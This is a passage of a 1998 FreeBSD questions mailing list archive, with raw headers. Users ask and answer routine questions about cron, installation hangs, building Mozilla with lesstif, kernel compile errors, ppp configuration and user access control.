<01bd5fd8$f4084800$5fca4ace@hp.harry.com>; from Harry Patterson on Sat, Apr 04, 1998 at 09:50:04AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Apr 04, 1998 at 09:50:04AM -0500, Harry Patterson wrote: > I am having trouble with cron. I have Freebsd 2.2.5. The daily, weekly and > monthly processes work fine, but several days ago I started to get error > message in root's mail (see below) stating "root: not found" whenever it > tries to run atrun or newsyslog. I've included a sample from the cron log > file, the crontab file itself and the mail message. The atrun and newsyslog > files are in the directories that the crontab file is pointing to. It's the > root crontab file, so I don't think it's a rights issue. I'm at a loss as to > what it's trying to tell me and how to fix it. > > Could someone point me in the right direction? Did that happen? I had no problem with cron or any of the cron-related man pages until reading this thread. Now I'm totally bamboozled by the various, seemingly contradictory responses. Harry, did you ever stop the problem you describe above, and if so how? -- Regards, -*Sue*- find / -name "*.conf" |more To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:39:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA00503 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:39:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from imo17.mx.aol.com (imo17.mx.aol.com [198.81.17.39]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA00497 for ; Sun, 5 Apr 1998 12:39:28 -0700 (PDT) (envelope-from Bagelboyj@aol.com) Received: from Bagelboyj@aol.com by imo17.mx.aol.com (IMOv13.ems) id HHEHa16332 for ; Sun, 5 Apr 1998 15:38:50 -0500 (EDT) From: Bagelboyj Message-ID: <3cc743dc.3527ddcc@aol.com> Date: Sun, 5 Apr 1998 15:38:50 EDT To: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Subject: About Install Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Windows 95 sub 62 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have FreeBSD 2.2.2 on CD, and I want to install it to a ZIP disk. Is this possible, and are partitions necessarry? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:06:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02188 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:06:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA02139; Sun, 5 Apr 1998 13:05:49 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.8.8/8.8.8) id VAA16279; Sun, 5 Apr 1998 21:04:40 +0100 (BST) (envelope-from nik) Message-ID: <19980405210440.45817@nothing-going-on.org> Date: Sun, 5 Apr 1998 21:04:40 +0100 From: Nik Clayton To: questions@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: ABIT PX5 233MMX Pent, R2.2.2, 2.2.5., 2.2.6 all hang in sysinstall Reply-To: nik@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.89.1i Organization: Nik at home, where there's nothing going on Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks, I've been trying to get a friend's machine working with FreeBSD with little success. The box is a 233 MMX Pentium, w/ 32MB of RAM, 3GB of IDE disk (ST33232A) on the first controller, and a CDROM and ZIP drive as the primary and slave devices on the second controller. The graphics card is a 4MB S3d ViRGE/DX. The sound card is an ESS Technology ES1869 PnP AudioDrive. The modem is a ComWave V.34PNP Data/Fax/Voice (not my choices, but I've got to work with them). Both the soundcard and modem are PnP, the other devices aren't. The motherboard is an ABIT PX5. The 2.2.2, 2.2.5 and 2.2.6 boot floppies probe and find the hard disk, CDROM and Zip drives without a problem. The sound card and modem are ignored, but I'm not surprised by that. When booting from the 2.2.2 or 2.2.5 floppy, the probes happen, and then the last three lines printed are: Changing root device to fd0c rootfs is 1440 Kbyte compiled in MFS /stand/sysinstall running as init (the first two are kernel messages, i.e., bold white, the last one isn't, full output available on request). The screen then clears, the block cursor goes to the bottom left corner and sits there. Nothing else happens. When booting from the 2.2.6 boot floppy, the first of the three lines above is intel Pentium F00F detected, installing workaround but the others are the same. Then the familiar blue screen and dialog comes up with Probing devices, please wait... And then it hangs. So far I've tried: - Turning off all caching and shadowing in the BIOS. No effect. - Booting from the 2.2.5 CDROM, instead of floppy. No effect. - Disabling all non-pertinent devices (network cards etc) vs. leaving them in. No effect. - Disabling sio0-3 on the offchance it was a conflict with the S£ card. No effect. - Trying both "flags npx0 0x1" and "flags npx0 0x7" (as seen in a couple of messages in the mailing list archives). No effect. - Pulling out the modem and sound cards on the off chance they were conflicting in some way. No effect. - Turning on the "PCI 2.1 Compliance" option in the BIOS (an Award BIOS, if that makes any difference). No effect. - Thump machine. No effect, but I feel less stressed. - Deciding that this is all too much hassle, and going out for a curry. No effect, but I feel less hungry. I've worked my way through the mailing list archives and the web site search. I turn up hits from people who have these things working, but nothing from anyone having problems getting them to install. The boot floppies/CDROM have no problem running sysinstall if I put them in my P200 ASUS motherboard machine, so it's not the installation media. During the week I'm going to try and lay my hands on a boot floppy for one of Linux/NetBSD/OpenBSD just to see if they get any further, which might at least assist the diagnoses. Other than that, any and all suggestions for other avenues of exploration gratefully appreciated. Oh yeah. Needless to say, DOS/Win95 works :-( N -- Work: nik@iii.co.uk | FreeBSD + Perl + Apache Rest: nik@nothing-going-on.demon.co.uk | Remind me again why we need Play: nik@freebsd.org | Microsoft? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:08:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02683 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:08:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from homer.supersex.com (homer.supersex.com [209.5.1.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA02610 for ; Sun, 5 Apr 1998 13:08:02 -0700 (PDT) (envelope-from leo@homer.supersex.com) Received: (from leo@localhost) by homer.supersex.com (8.8.8/8.8.5) id QAA06172; Sun, 5 Apr 1998 16:08:37 -0400 (EDT) Message-ID: <19980405160837.38092@supersex.com> Date: Sun, 5 Apr 1998 16:08:37 -0400 From: Leo Papandreou To: questions@FreeBSD.ORG Subject: mozilla+lesstif works Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I thought I'd share my experience building Mozilla with lesstif. I built it on a 2.2.6-STABLE/lesstif-current system, P100, 32MB. First thing is to make sure you have plenty of free disk space. I've heard the debug build expands to 2 or 4 hundred MB. If you dont have that kind of space handy gmake will eventually spit back a weird error that doesnt necessarily have anything to do with the actual sources. Do what I did and set BUILD_OPT=1 in your environment. This will build without debugging info. All this is documented in the README, incidentally. lesstif ======= I built lesstif-current instead of lesstif-0.83. I imagine mozilla is going to be responsible for daily diffs against the lesstif code so I decided it would be best to bookmark lesstif.org and start with a clean code base. I downloaded the lesstif-0.83 port. In the Makefile I changed DISTNAME to lesstif-current and added --enable-static to the CONFIGURE_ARGS line. Mozilla will *not* build if it cannot find libXm.a patch-ai and PLIST need to be edited. One or two additional manpages are built and need to be installed. Sorry, I did all this in the spirit of random hackery without bothering to make diffs. In any case, you can safely delete patch-ai and ignore PLIST since it only affects the location and installation of one or two man pages. Nuke the files directory because obviously the MD5 signature of lesstif-0.83 and lesstif-current will differ. make make install worked for me. mozilla ======= Set up your environment as documented in the README. I used eivind's port (URL somebody? This is so embarassing) and applied the mozilla (not lesstif) patches found at ftp://165.247.176.84/pub/mozilla/. gmake (The README documents gmake -k but gmake is probably a better idea unless you tee the output somewhere else and dont mind uselessly building beyond any errors.) Runs better than I expected :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:17:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03814 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:17:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.mstk.com (cx93934-a.vista1.sdca.home.com [24.0.177.213]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03809 for ; Sun, 5 Apr 1998 13:16:53 -0700 (PDT) (envelope-from ifield@mstk.com) Message-Id: <199804052016.NAA03809@hub.freebsd.org> Received: from arthur (206.214.2.66 [206.214.2.66]) by alpha.mstk.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id HG671M1B; Sun, 5 Apr 1998 13:20:59 -0700 From: "Ian Field" To: Subject: PAO / Kernel compile errors Date: Sat, 5 Apr 1997 12:11:28 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all I'm trying to update the kernel on my 2.2.6-RELEASE machine with the PAO package, I'm having a problem while running 'make depend' in my new config directory. Error: in file included from ../../pccard/pcic.c:46: ../../pccard/i82365.h:240: unbalanced '#endif' ../../pccard/i82365.h:252: unbalanced '#endif' I edited i82365.h: 238: #endif /* _PCCARD_i82365_H */ 239: #define PCIC_MAX_SLOTS 8 240: #endif 242: /* Cirrus Logic PD-672X specific index */ 244: #define CL672X_PCIC_MISC1 0x16 /* Misc Control 1 */ 245: #define CL672X_PCIC_MISC2 0x1e /* Misc Control 2 */ 247: /* Misc 1 regs. */ 248: #define CLS72X_M1_SPKR_EN 0x10 /* Speaker Enable */ 249: /* Misc 2 regs. */ 250: #define CL672X_M2_LPDM_EN 0x02 /* Low power dynamic mode */ 252: #endif /* _PCCARD_I82365_H */ let me know if you need any more info... thanks in advance Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:24:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04596 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:24:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04589 for ; Sun, 5 Apr 1998 13:23:53 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id QAA00629 for ; Sun, 5 Apr 1998 16:28:18 -0400 (EDT) Date: Sun, 5 Apr 1998 16:28:18 -0400 (EDT) From: "Stephen A. Derdau" To: freebsd-questions@FreeBSD.ORG Subject: Correction :Re: HELP fstab In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Anyway to edit fstab if the file system is > read only. > have done mount -u / ## however > I guess / is the problem it comes back stating > /dev/rwd0a on /: Block device required. > > #### here is part of my df output: > root_device / > /dev/wd1s1f /usr ********* /usr > /dev/wd1s1e /var > > Hope someone can help and not say I have to reinstall! > > O well if so more practice :-) just had everything running > so good too. > > > Thank You ! > > Stephen A. Derdau > "So What if it is wrong. I am getting closer to the right answer!" > "If I had a nickle for every time I was wrrong , I would want a quarter > instead. :-)" > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:33:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06157 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:33:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mvp.net (root@Walden.mo.Net [209.96.2.52]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA06143 for ; Sun, 5 Apr 1998 13:33:38 -0700 (PDT) (envelope-from eocss@mo.net) Received: from moonwave (blv0x22.dialip.mo.net [209.96.65.22]) by mvp.net (8.8.8/8.8.8) with SMTP id PAA21469 for ; Sun, 5 Apr 1998 15:37:34 -0500 (CDT) Message-ID: <3527EAF0.6D65@mo.net> Date: Sun, 05 Apr 1998 15:34:56 -0500 From: MoonMastr X-Mailer: Mozilla 3.01Gold (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Installing FreeBSD 2.2.6 from a burned downloaded copy Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ok.. I downloaded 2.2.6 release from an ftp site totally I had to put all from the FreeBSD 2.2.6 disk on 1 disk and the packages on another, exactly as it is from the 2.2.6 directory now I just wanna know how can I install FreeBSD from that cuz its not a distribution disk, just like from the ftp site put on CD so theres no install.bat or anything any help would be appreciated -MM eocss@mo.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:34:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06369 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:34:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from homer.supersex.com (homer.supersex.com [209.5.1.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA06308 for ; Sun, 5 Apr 1998 13:34:29 -0700 (PDT) (envelope-from leo@homer.supersex.com) Received: (from leo@localhost) by homer.supersex.com (8.8.8/8.8.5) id QAA06316; Sun, 5 Apr 1998 16:35:12 -0400 (EDT) Message-ID: <19980405163512.24668@supersex.com> Date: Sun, 5 Apr 1998 16:35:12 -0400 From: Leo Papandreou To: questions@FreeBSD.ORG Subject: Re: mozilla+lesstif works Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I thought I'd share my experience building Mozilla with lesstif. I built it on a 2.2.6-STABLE/lesstif-current system, P100, 32MB. First thing is to make sure you have plenty of free disk space. I've heard the debug build expands to 2 or 4 hundred MB. If you dont have that kind of space handy gmake will eventually spit back a weird error that doesnt necessarily have anything to do with the actual sources. Do what I did and set BUILD_OPT=1 in your environment. This will build without debugging info. All this is documented in the README, incidentally. lesstif ======= I built lesstif-current instead of lesstif-0.83. I imagine mozilla is going to be responsible for daily diffs against the lesstif code so I decided it would be best to bookmark lesstif.org and start with a clean code base. I downloaded the lesstif-0.83 port. In the Makefile I changed DISTNAME to lesstif-current and added --enable-static to the CONFIGURE_ARGS line. Mozilla will *not* build if it cannot find libXm.a patch-ai and PLIST need to be edited. One or two additional manpages are built and need to be installed. Sorry, I did all this in the spirit of random hackery without bothering to make diffs. In any case, you can safely delete patch-ai and ignore PLIST since it only affects the location and installation of one or two man pages. Nuke the files directory because obviously the MD5 signature of lesstif-0.83 and lesstif-current will differ. make make install worked for me. mozilla ======= Set up your environment as documented in the README. I used eivind's port (URL somebody? This is so embarassing) and applied the mozilla (not lesstif) patches found at ftp://165.247.176.84/pub/mozilla/. gmake (The README documents gmake -k but gmake is probably a better idea unless you tee the output somewhere else and dont mind uselessly building beyond any errors.) Runs better than I expected :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:35:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06750 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:35:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from homer.supersex.com (homer.supersex.com [209.5.1.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA06718 for ; Sun, 5 Apr 1998 13:35:31 -0700 (PDT) (envelope-from leo@homer.supersex.com) Received: (from leo@localhost) by homer.supersex.com (8.8.8/8.8.5) id QAA06326; Sun, 5 Apr 1998 16:36:22 -0400 (EDT) Message-ID: <19980405163622.35627@supersex.com> Date: Sun, 5 Apr 1998 16:36:22 -0400 From: Leo Papandreou To: questions@FreeBSD.ORG Subject: Re: mozilla+lesstif works Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG That URL I forgot is http://www.freebsd.org/~eivind/moz_port.tgz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:39:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA08078 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:39:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.GlobalEyes.net [209.60.64.59]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA08071 for ; Sun, 5 Apr 1998 13:39:49 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id PAA04154; Sun, 5 Apr 1998 15:40:00 -0500 (CDT) Message-Id: <3.0.5.32.19980405154859.00837490@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sun, 05 Apr 1998 15:48:59 -0500 To: "Ross McFarland" , From: "Jonathan E. Lyons" Subject: Re: the su command and specifing who can telnet In-Reply-To: <000d01bd60be$2d7a89a0$896969ce@win95-133> Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 02:10 PM 4/5/98 -0400, Ross McFarland wrote: >>>> I have two hopefully quick questions. 1) I've found and understand how the ftp access is controlled by a file, where and\or how can I control who can access the server by Telnet? I have a user name for apache to run under and would like to restrict its ability to log in from any where other than the console. Not sure on this one, but you could change the shell of the apach acount to...passwd( or whatever) then use su if tlnet access is needed.... #chsh grunty #Changing user database information for grunt. Login: grunt Password: hstTDhGgwy2vS7o Uid [#]: 1000 Gid [# or name]: 11000 Change [month day year]: Expire [month day year]: Class: default Home directory: /home/grunty Shell: /usr/bin/passwd Full Name: grunty Location: Office Phone: Home Phone: >>>> 2) how do I allow a user to su to root. I've tried setting group to 0(wheel) and using the log in class root, staff and everything else I can think of in every combination. when I try it always says >>>>> Just add the user to /etc/group ....For example.. :32pm@cplkagan/etc>more group wheel:*:0:root,me,nextuser daemon:*:1:daemon kmem:*:2:root The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:41:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA08280 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:41:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.mstk.com (cx93934-a.vista1.sdca.home.com [24.0.177.213]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA08270 for ; Sun, 5 Apr 1998 13:41:17 -0700 (PDT) (envelope-from ifield@mstk.com) Message-Id: <199804052041.NAA08270@hub.freebsd.org> Received: from arthur (206.214.2.66 [206.214.2.66]) by alpha.mstk.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id HG671M1G; Sun, 5 Apr 1998 13:45:24 -0700 From: "Ian Field" To: Subject: PAO / Kernel compile errors Date: Sat, 5 Apr 1997 12:36:32 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all I'm trying to update the kernel on my 2.2.6-RELEASE machine with the PAO package, I'm having a problem while running 'make depend' in my new config directory. Error: in file included from ../../pccard/pcic.c:46: ../../pccard/i82365.h:240: unbalanced '#endif' ../../pccard/i82365.h:252: unbalanced '#endif' I edited i82365.h: 238: #endif /* _PCCARD_i82365_H */ 239: #define PCIC_MAX_SLOTS 8 240: #endif 242: /* Cirrus Logic PD-672X specific index */ 244: #define CL672X_PCIC_MISC1 0x16 /* Misc Control 1 */ 245: #define CL672X_PCIC_MISC2 0x1e /* Misc Control 2 */ 247: /* Misc 1 regs. */ 248: #define CLS72X_M1_SPKR_EN 0x10 /* Speaker Enable */ 249: /* Misc 2 regs. */ 250: #define CL672X_M2_LPDM_EN 0x02 /* Low power dynamic mode */ 252: #endif /* _PCCARD_I82365_H */ let me know if you need any more info... thanks in advance Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:46:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09203 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:46:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.GlobalEyes.net [209.60.64.59]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA09196 for ; Sun, 5 Apr 1998 13:46:07 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id PAA04186; Sun, 5 Apr 1998 15:45:10 -0500 (CDT) Message-Id: <3.0.5.32.19980405155409.00821ab0@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sun, 05 Apr 1998 15:54:09 -0500 To: support@internetuniverse.com, freebsd-questions@FreeBSD.ORG From: "Jonathan E. Lyons" Subject: Re: ETHERNET CARD PROBLEM In-Reply-To: <352802D3.3CFE@internetuniverse.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Have you tried the card in a different slot? Are you postive that the card works? I'd swap it, and see if the problem presists. What does the output of ifconfig -a say?!? At 03:16 PM 4/5/98 -0700, Support Desk wrote: >I am trying to install FREEBSD 2.2.5 on an INTEL PENTIUM 200mhz >processor and find no problems with the install itself, I have tryed >several times to configure a 3COM 3C905-TX PCI ethernet card in the >system, freeBSD sees the card and it is installed with a vx0 >configuration, the loopback looks fine, the netstat -r looks good, but >the card does not light up and all pings outside the machine fail. Now >this card is being set with a irq of 9, I remember that 9 might be a >problem. The card software does not allow for this to be changed. You do >have the card listed as a compatible ethernet card. > >I have tryed everything I can think of and could really use any help >that can be provided. > > > >-- The Internet Universe, Inc. -- Connecting You To The Planet -- > >www.internetuniverse.com > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 13:59:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA10581 for freebsd-questions-outgoing; Sun, 5 Apr 1998 13:59:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jaguar.ir.miami.edu (jaguar.ir.miami.edu [129.171.32.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA10571 for ; Sun, 5 Apr 1998 13:59:10 -0700 (PDT) (envelope-from marcus@miami.edu) Received: from localhost by jaguar.ir.miami.edu (PMDF V5.1-10 #24029) with SMTP id <0EQY00901KYLZP@jaguar.ir.miami.edu> for freebsd-questions@freebsd.org; Sun, 5 Apr 1998 16:59:09 -0400 (EDT) Date: Sun, 05 Apr 1998 16:59:09 -0400 (EDT) From: "Joe \"Marcus\" Clarke" Subject: Re: Console screen shot In-reply-to: To: Spike Gronim Cc: FreeBSD User Questions List Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Actually, I was looking for something that can grab the screen from one of the vtys. I want to grab a /stand/sysinstall image in color. xterm didn't give me color. Any ideas? Joe Clarke On Sun, 5 Apr 1998, Spike Gronim wrote: > On Sun, 5 Apr 1998, Joe "Marcus" Clarke wrote: > > > Is there any way to get a screen shot of the console in full color mode? > > > > Joe Clarke > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > > You can use xgrab/xgrabsc from the ports to grab screen shots in X, if > that is what you want. > > -Spike Gronim > spork@cncn.com > > > "Hacker, n: One who hacks real good" > --Computer Contradictionary > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:04:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA11419 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:04:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA11412 for ; Sun, 5 Apr 1998 14:04:28 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node35.mpc.com.br [200.246.0.35]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id SAA25451; Sun, 5 Apr 1998 18:02:34 -0300 (EST) Message-Id: <3.0.32.19980406055655.00ad0690@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 05:58:47 -0300 To: Brian Somers , "Derrick Springer" From: Capriotti Subject: Re: PPP help w/ Release 2.2.5 Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Let's try something easier: Can you tell exactly the command you're using to call ppp ? would it be ppp or ppp -alias [your_provider's_name_here] or ppp -auto [your_provider's_name_here] or ppp -alias -auto [your_provider's_name_here] ??? In the example ppp.conf (from the URL below) you would call ppp by ppp -alias provedor At 01:00 AM 4/5/98 +0100, Brian Somers wrote: >Try connecting then `load default' and `load provider'. Does that >help ? Do you see any errors or warnings in the log file ? > >> >OK. You have a problem with you initialization string, probably. >> > >> >Maybe it sounds crazy, but it happened to me once. >> >> As crazy as it sounds, I tried it, but it still didn't work. >> I can't get the PPP program to load the settings for my provider from >> the ppp.conf file. It just won't look at it. >> >> >> >> >If all fails, try using this: >> > >> >http://www.nettaxi.com/citizens/E.Brandi/ppp.conf >> > >> >> Tried it and the ones that come with the installation. I even tried >> USING the sample files by copying them as ppp.conf and it won't even >> look for "provider" that was written in the sample! >> >> Like I said before, if I execute all the commands manually into PPP (ie. >> "set device...", "set speed..." to "add 0 0 HISADDR") I get a good, >> solid connection with no problems. Dialing isn't my problem, but >> auto-dialing & loading the provider settings is. >> >> Help! >> >> Derrick >> mc_knight@hotmail.com >> >> ______________________________________________________ >> Get Your Private, Free Email at http://www.hotmail.com >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-questions" in the body of the message > >-- >Brian , , > >Don't _EVER_ lose your sense of humour.... > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:18:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA13100 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:18:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.mstk.com (cx93934-a.vista1.sdca.home.com 